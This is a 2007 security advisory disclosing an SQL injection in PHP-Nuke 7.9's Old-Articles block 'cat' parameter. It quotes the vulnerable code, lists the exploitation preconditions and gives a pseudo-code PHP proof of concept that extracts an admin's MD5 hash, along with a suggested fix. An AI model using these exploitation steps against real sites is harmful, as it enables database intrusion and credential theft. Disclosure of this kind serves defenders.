/*
--------------------------------------------------------
[N]eo [S]ecurity [T]eam [NST] - Advisory 31 - 2007-01-13
--------------------------------------------------------
Program: PHP-Nuke
Homepage: http://www.phpnuke.org
Vulnerable Versions: PHP-Nuke <= 7.9
Risk: Medium
Impact: Medium Risk

-==PHP-Nuke <= 7.9 Old-Articles Block "cat" SQL Injection vulnerability==-
---------------------------------------------------------

- Description
---------------------------------------------------------
PHP-Nuke is a news automated system specially designed to be used in Intranets and Internet. The Admi
nistrator has total control of
 his web site, registered users, and he will have in the hand a powerful assembly of tools to maintai
n an active and 100% interactive
 web site using databases.

- Tested
---------------------------------------------------------
localhost & many sites

- Vulnerability Description
---------------------------------------------------------

In /blocks/block-Old_Articles.php the "cat" variable is not sanitized correctly. Here is th
e vulnerable code:

==[ /blocks/block-Old_Articles.php 33-40 ]=========================
if ($categories == 1) {
   	$querylang = "where catid='$cat'";
    } else {
	$querylang = "";
	if ($new_topic != 0) {	
	    $querylang = "WHERE topic='$new_topic'";
	}
    }
==[ end /blocks/block-Old_Articles.php 33-40 ]=====================


Note that register_globals must be On, because the "cat" variable is not defined anywhere. 
Also, the $querylang variable is 
used after to get some database data:

==[ /blocks/block-Old_Articles.php 49 ]=============================
[...]
$result = $db->sql_query("SELECT sid, title, time, comments FROM ".$prefix."_storie
s $querylang ORDER BY time DESC LIMIT $storynum,
 $oldnum");
[...]
==[ end /blocks/block-Old_Articles.php 49]==========================


Then we have a link that contains the data taken from the database:

==[ /blocks/block-Old_Articles.php 94-97-101]=======================
[...]
$boxstuff .= "<tr><td valign=\"top\"><strong><big>&middot;<
/big></strong></td><td> <a href=\"modules.php?name=News&amp;file=art
icle&amp;sid=$sid$r_options\">$title</a>
 $comments</td></tr>\n";
==[ end /blocks/block-Old_Articles.php 94-97-101 ]==================


So, in resume, if we set "categories" var to 1 by the GET method and then we set "cat"
 (also by the GET method) to a malicio
us sql code, we can get easily the admin data with a UNION statement. If you don't how to bypass the 
PHP-Nuke SQL Protection
 just read this advisory: 
http://www.neosecurityteam.net/advisories/PHP-Nuke--7.9-SQL-Injection-and-Bypass-SQL-Injection-Protec
tion-vulnerabilities-27.html

magic_quotes_gpc php directive must be turned Off so the simple quotes (') are not filtered. Also we 
have to know the prefix
 used for the database tables ("nuke_" by default).

==Pseudo-Code Proof of Concept exploit==
<?
/*

Neo Security Team - Pseudo-Code Proof of Concept Exploit
PHP-Nuke <= 7.9 Old-Articles Block "cat" SQL Injection vulnerability

http://www.neosecurityteam.net
Paisterist

*/
set_time_limit(0);
$host="localhost";
$path="/phpnuke/";
$port="80";
$fp = fsockopen($host, $port, $errno, $errstr, 30);

if ($fp) {
    /* we put the GET request on $p variable, with "cid" with the malicious code and "
categories" set to 1. */

    fwrite($fp, $p);

    while (!feof($fp)) {
        $content .= fread($fp, 4096);
    }

    preg_match("/([a-z0-9]{32})/", $content, $matches);

    if ($matches[0])
    print "<b>Hash: </b>".$matches[0];
 
?>
==Pseudo-Code Proof of Concept exploit==

Whit this PoC code i get the md5 hash of the first admin (God) of the nuke_authors table.

- How to fix it? More information?
--------------------------------------------------------

You can found a patch on http://www.neosecurityteam.net/foro/

Also, you can modify the source code adding in the /index.php file some like this:

$cat = ($_GET['cat']) ? filter($_GET['cat'], "nohtml") : '';

That's a momentary solution to the problem. I recommend to get the PHP-Nuke 8.0 version.

- References
--------------------------------------------------------
http://www.neosecurityteam.net/advisories/PHP-Nuke--7.9-Old-Articles-Block-cat-SQL-Injection-vulnerab
ility-31.html
http://www.neosecurityteam.net/advisories/PHP-Nuke--7.9-SQL-Injection-and-Bypass-SQL-Injection-Protec
tion-vulnerabilities-27.html


- Credits
--------------------------------------------------------
Old-Articles Block SQL Injection discovered by Paisterist -> paisterist[dot]nst [at] gmail[dot]com

[N]eo [S]ecurity [T]eam [NST] - http://www.neosecurityteam.net/


- Greets
--------------------------------------------------------
HaCkZaTaN, K4P0, Daemon21, Link, 0m3gA_x, NitRic, LINUX, nitrous, m0rpheus, nikyt0x, KingMetal, Knigh
tmare and the NST community.

Latinoamerica EXISTS!!

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'@@'@@@@@@''@@@@@@ @@@'''''@@@
'@@'''@@@@'''''''''@@@''''@@@
@@@@''''@@'@@@@@@@@@@''''@@@@@

/* EOF */